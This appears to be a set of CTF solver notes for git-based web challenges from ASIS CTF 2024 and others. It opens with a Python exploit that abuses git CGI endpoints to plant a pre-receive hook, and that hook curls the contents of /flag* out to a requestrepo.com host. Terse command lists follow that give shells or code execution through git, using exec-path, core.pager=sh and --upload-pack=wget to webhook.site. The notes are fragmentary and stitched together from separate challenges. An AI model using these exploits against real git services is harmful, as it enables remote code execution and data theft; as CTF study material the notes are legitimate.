GIT CGI Exploit

import requests, random, sys

URL = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:6969"
GIT = f"/tmp/bitset{random.random()}"

# Create {GIT}
s = requests.Session()
s.get(f"{URL}/cgi-bin/git-init?{GIT}")

# Write to {GIT}/hooks/pre-receive
add = f"""
diff --git a/..{GIT}/.git/hooks/pre-receive b/..{GIT}/.git/hooks/pre-receive
new file mode 100755
--- /dev/null
+++ b/..{GIT}/.git/hooks/pre-receive
@@ -0,0 +1,2 @@
+#!/bin/sh
+curl lp2drty9.requestrepo.com/?`cat /flag*`
"""

# We need --unsafe-paths otherwise it would refuse to write to .git/
try:
    s.post(f"{URL}/cgi-bin/git-apply?--unsafe-paths", data=add, timeout=2)
except:
    print("done")

# We need a valid pkt-line stream twice
for _ in range(2):
    pl = f'{"0"*40} {"0"*40} refs/heads/x\0report-status\n'
    pkt = f"{len(pl)+4:04x}" + pl + "0000"
    print(pkt)
    s.post(f"{URL}/cgi-bin/git-receive-pack?{GIT}", data=pkt)

Gitmails challenge

ASIS CTF 2024

git log to rce using textconv

solver

ASIS CTF Final 2024 - gitmails (web)

1. Does git log trigger fsmonitor? I thought it does not. Then saw your comments and tried and it worked. And I just realized that it was my shell (zsh) prompt running git status, not git log.

0xl4ught 2024 ## GitMeow-Revenge

git --git-dir=/tmp --work-tree=/tmp init
git --git-dir=/tmp --work-tree=/tmp add --all
git --git-dir=/tmp --work-tree=/tmp grep -o 0x...........................


git -C /tmp init
git -C /tmp add --all
git -C /tmp commit -m add
git -C /tmp branch -M main
git -C /tmp remote add origin git://108.137.34.7/
git -C /tmp push -u origin main


git init
echo -e '#!/bin/sh\nsh' > git-sh
git add --all
git commit -m x
git daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/ --enable=receive-pack

git clone git://108.137.34.7/ x
git --exec-path=/home/challenger/x sh

git -C /usr/bin/ init
git --

git --exec-path=/usr/bin shell

git config --global core.pager cat

ls /usr/libexec/git-core

git init
git add --all
git commit -m 0
git config --global core.pager sh
git log -s --no-decorate --no-notes --no-expand-tabs --no-indent-heuristic --no-color --line-prefix=ls


git -C /tmp/ init
git -C /tmp/ add --all
git -C /tmp/ commit -m x
git -C /tmp/ show -If4

git show --name-only
git log -n7

git ls-remote --upload-pack=wget webhook.site/uniq_id
git ls-remote --upload-pack=sh uniq_id

add /
commit
log